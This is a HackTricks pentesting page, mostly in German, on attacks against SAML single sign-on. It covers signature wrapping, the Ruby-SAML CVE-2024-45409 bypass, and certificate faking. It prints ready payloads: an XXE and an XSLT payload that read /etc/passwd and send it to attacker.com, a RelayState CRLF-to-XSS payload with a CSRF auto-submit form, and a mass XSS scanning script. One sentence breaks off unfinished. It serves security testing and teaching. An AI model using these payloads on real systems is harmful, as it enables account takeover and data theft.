SAML-Angriffe

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

SAML Basics

Tool

SAMLExtractor: Ein Tool, das eine URL oder eine Liste von URLs entgegennimmt und die SAML consume URL zurückgibt.

XML Round-Trip

Im XML wird der signierte Teil des XML im Speicher abgelegt, dann werden Encoding/Decoding durchgeführt und die Signatur überprüft. Idealerweise sollten Encoding/Decoding die Daten nicht verändern, aber unter solchen Umständen könnten die überprüften Daten und die Originaldaten nicht identisch sein.

Zum Beispiel: siehe folgenden Code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Das Ausführen des Programms gegen REXML 3.2.4 oder früher würde stattdessen die folgende Ausgabe ergeben:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

  • Strategy: Ein neues Root-Element, das die Signatur enthält, wird hinzugefügt.
  • Implication: Der Validator kann zwischen dem legitimen “Response -> Assertion -> Subject” und dem des Angreifers “evil new Response -> Assertion -> Subject” durcheinanderkommen, was zu Datenintegritätsproblemen führt.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Verwendet eine detached signature statt einer enveloping signature.
  • Implication: Die “evil”-Struktur, ähnlich wie bei XSW #1, zielt darauf ab, die Business-Logik nach der Integritätsprüfung zu täuschen.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: Eine bösartige Assertion wird auf derselben Hierarchieebene wie die originale Assertion erstellt.
  • Implication: Zielt darauf ab, die Business-Logik dazu zu bringen, die schädlichen Daten zu verwenden.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: Die originale Assertion wird ein Kind der duplizierten (bösartigen) Assertion.
  • Implication: Ähnlich wie XSW #3, verändert jedoch die XML-Struktur noch aggressiver.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Weder die Signature noch die originale Assertion folgen den Standard-Konfigurationen (enveloped/enveloping/detached).
  • Implication: Die kopierte Assertion umschließt die Signature und verändert so die erwartete Dokumentstruktur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Ähnliche Einfügeposition wie bei XSW #4 und #5, aber mit einer Wendung.
  • Implication: Die kopierte Assertion umschließt die Signature, welche dann die originale Assertion umschließt und so eine verschachtelte, irreführende Struktur erzeugt.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: Ein Extensions-Element wird eingefügt, mit der kopierten Assertion als Kind.
  • Implication: Dies nutzt das weniger restriktive Schema des Extensions-Elements aus, um Schema-Validierungsgegenmaßnahmen zu umgehen, insbesondere in Bibliotheken wie OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Verwendet ein anderes weniger restriktives XML-Element für eine Variante des Angriffs.
  • Implication: Die originale Assertion wird ein Kind des weniger restriktiven Elements, wodurch die in XSW #7 verwendete Struktur umgekehrt wird.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain any IdP-signed SAMLResponse can forge a new assertion and authenticate as arbitrary users.

High-level workflow (signature-wrapping style bypass):

  1. Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
  2. Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
  3. Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
  4. Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Wenn du nicht weißt, welche Art von Angriffen XXE sind, lies bitte die folgende Seite:

XXE - XEE - XML External Entity

SAML Responses sind deflated and base64 encoded XML documents und können für XML External Entity (XXE) attacks anfällig sein. Durch Manipulation der XML-Struktur der SAML Response können attackers versuchen, XXE vulnerabilities auszunutzen. So lässt sich ein solcher Angriff veranschaulichen:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um aus einer SAML-Anfrage einen POC zu generieren und auf mögliche XXE- und SAML-Schwachstellen zu testen.

Siehe auch diesen Talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Für weitere Informationen zu XSLT siehe:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) können verwendet werden, um XML-Dokumente in verschiedene Formate wie HTML, JSON oder PDF zu transformieren. Es ist wichtig zu beachten, dass XSLT-Transformationen vor der Überprüfung der digitalen Signatur durchgeführt werden. Das bedeutet, dass ein Angriff auch ohne eine gültige Signatur erfolgreich sein kann; eine selbstsignierte oder ungültige Signatur reicht aus, um fortzufahren.

Hier finden Sie einen POC, um diese Art von Schwachstellen zu prüfen; auf der zu Beginn dieses Abschnitts genannten hacktricks-Seite finden Sie payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden, um den POC aus einer SAML-Anfrage zu erzeugen und auf mögliche XSLT-Schwachstellen zu testen.

Siehe auch diesen Vortrag: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion beobachtet das Verhalten von SAML-Implementierungen, wenn das Signature-Element nicht vorhanden ist. Wenn dieses Element fehlt, kann die Signature-Validierung möglicherweise nicht erfolgen, wodurch eine Schwachstelle entsteht. Es ist möglich, dies zu testen, indem man die Inhalte verändert, die normalerweise durch die Signatur geprüft werden.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Tool

Sie können auch die Burp-Erweiterung SAML Raider verwenden. Fangen Sie die SAML Response ab und klicken Sie auf Remove Signatures. Dadurch werden alle Signature-Elemente entfernt.

Nachdem die Signaturen entfernt wurden, lassen Sie die Anfrage zum Ziel weiterlaufen. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking ist eine Technik, um zu testen, ob ein Service Provider (SP) korrekt überprüft, dass eine SAML Message von einem vertrauenswürdigen Identity Provider (IdP) signiert wurde. Dabei wird ein *self-signed certificate verwendet, um die SAML Response oder Assertion zu signieren, was hilft, den Trust-Validierungsprozess zwischen SP und IdP zu beurteilen.

How to Conduct Certificate Faking

Die folgenden Schritte beschreiben den Ablauf unter Verwendung der Burp-Erweiterung SAML Raider:

  1. Fangen Sie die SAML Response ab.
  2. Falls die Response eine Signatur enthält, senden Sie das Zertifikat mit der Schaltfläche Send Certificate to SAML Raider Certs an SAML Raider Certs.
  3. Wählen Sie im SAML Raider Certificates-Tab das importierte Zertifikat aus und klicken Sie auf Save and Self-Sign, um eine self-signed-Kopie des ursprünglichen Zertifikats zu erstellen.
  4. Gehen Sie zurück zur abgefangenen Anfrage im Burp Proxy. Wählen Sie das neue self-signed-Zertifikat aus dem XML Signature-Dropdown aus.
  5. Entfernen Sie vorhandene Signaturen mit der Schaltfläche Remove Signatures.
  6. Signieren Sie die Nachricht oder Assertion mit dem neuen Zertifikat über die (Re-)Sign Message- oder (Re-)Sign Assertion-Schaltfläche, je nach Bedarf.
  7. Leiten Sie die signierte Nachricht weiter. Eine erfolgreiche Authentifizierung zeigt, dass der SP Nachrichten akzeptiert, die mit Ihrem self-signed certificate signiert wurden, und macht mögliche Schwachstellen im Validierungsprozess der SAML-Nachrichten sichtbar.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion und Service Provider Target Confusion prüfen, ob der Service Provider den vorgesehenen Empfänger einer Response korrekt validiert. Grundsätzlich sollte ein Service Provider eine Authentifizierungs-Response ablehnen, wenn sie für einen anderen Provider bestimmt war. Das kritische Element ist das Recipient-Feld, das im SubjectConfirmationData-Element einer SAML Response zu finden ist. Dieses Feld spezifiziert eine URL, an die die Assertion gesendet werden muss. Wenn der tatsächliche Empfänger nicht mit dem vorgesehenen Service Provider übereinstimmt, sollte die Assertion als ungültig betrachtet werden.

How It Works

Damit ein SAML Token Recipient Confusion (SAML-TRC) Angriff möglich ist, müssen bestimmte Bedingungen erfüllt sein. Erstens muss ein gültiges Konto bei einem Service Provider existieren (als SP-Legit bezeichnet). Zweitens muss der angegriffene Service Provider (SP-Target) Tokens vom selben Identity Provider akzeptieren, der SP-Legit bedient.

Unter diesen Bedingungen ist der Angriffsablauf einfach. Eine authentische Sitzung wird bei SP-Legit über den gemeinsamen Identity Provider initiiert. Die SAML Response vom Identity Provider an SP-Legit wird abgefangen. Diese abgefangene SAML Response, die ursprünglich für SP-Legit bestimmt war, wird dann an SP-Target weitergeleitet. Der Angriff ist erfolgreich, wenn SP-Target die Assertion akzeptiert und Zugriff auf Ressourcen unter demselben Kontonamen gewährt, der auch bei SP-Legit verwendet wird.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout-Funktionalität

Die ursprüngliche Recherche ist über diesen Link zugänglich.

Während des directory brute forcing wurde eine Logout-Seite unter folgender Adresse entdeckt:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Beim Aufrufen dieses Links erfolgte eine Weiterleitung zu:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dies zeigte, dass der base-Parameter eine URL akzeptiert. In Anbetracht dessen entstand die Idee, die URL durch javascript:alert(123); zu ersetzen, um einen XSS (Cross-Site Scripting)-Angriff zu starten.

Mass Exploitation

From this research:

Das SAMLExtractor-Tool wurde verwendet, um Subdomains von uberinternal.com auf Domains zu analysieren, die dieselbe Bibliothek verwenden. Anschließend wurde ein Script entwickelt, das die Seite oidauth/prompt anvisiert. Dieses Script testet auf XSS (Cross-Site Scripting), indem es Daten eingibt und prüft, ob diese in der Ausgabe reflektiert werden. Wird die Eingabe tatsächlich reflektiert, markiert das Script die Seite als verwundbar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based Header/Body-Injection zu rXSS

Einige SAML SSO-Endpunkte decodieren RelayState und spiegeln es dann ohne Bereinigung in die Antwort zurück. Wenn Sie Zeilenumbrüche injizieren und den Antwort-Content-Type überschreiben können, können Sie den Browser zwingen, von einem Angreifer kontrolliertes HTML zu rendern und damit reflected XSS zu erreichen.

  • Idee: Ausnutzen von response-splitting durch Newline-Injektion im reflektierten RelayState. Siehe auch die generischen Hinweise in CRLF injection.
  • Funktioniert sogar, wenn RelayState serverseitig base64-dekodiert wird: liefern Sie ein base64, das zu einer Header/Body-Injektion dekodiert.

Allgemeine Schritte:

  1. Erstellen Sie eine Header/Body-Injektionssequenz, die mit einem Zeilenumbruch beginnt, überschreiben Sie den Content-Type auf HTML und injizieren Sie dann ein HTML/JS-Payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encodieren Sie die Sequenz (Beispiel):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-kodieren Sie diese URL-encodierte Zeichenkette und platzieren Sie sie in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Senden Sie ein POST mit einer syntaktisch gültigen SAMLResponse und dem präparierten RelayState an den SSO-Endpunkt (z. B. /cgi/logout).
  2. Bereitstellung via CSRF: Hosten Sie eine Seite, die ein Cross-Origin-POST automatisch an die Ziel-Origin absendet und dabei beide Felder ausfüllt.

PoC gegen einen NetScaler SSO-Endpunkt (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF-Zustellmuster:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Warum es funktioniert: Der Server dekodiert RelayState und integriert es in die response so, dass newline injection möglich ist, wodurch der attacker headers und body beeinflussen kann. Das Erzwingen von Content-Type: text/html bewirkt, dass der Browser das vom attacker kontrollierte HTML aus dem response body rendert.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks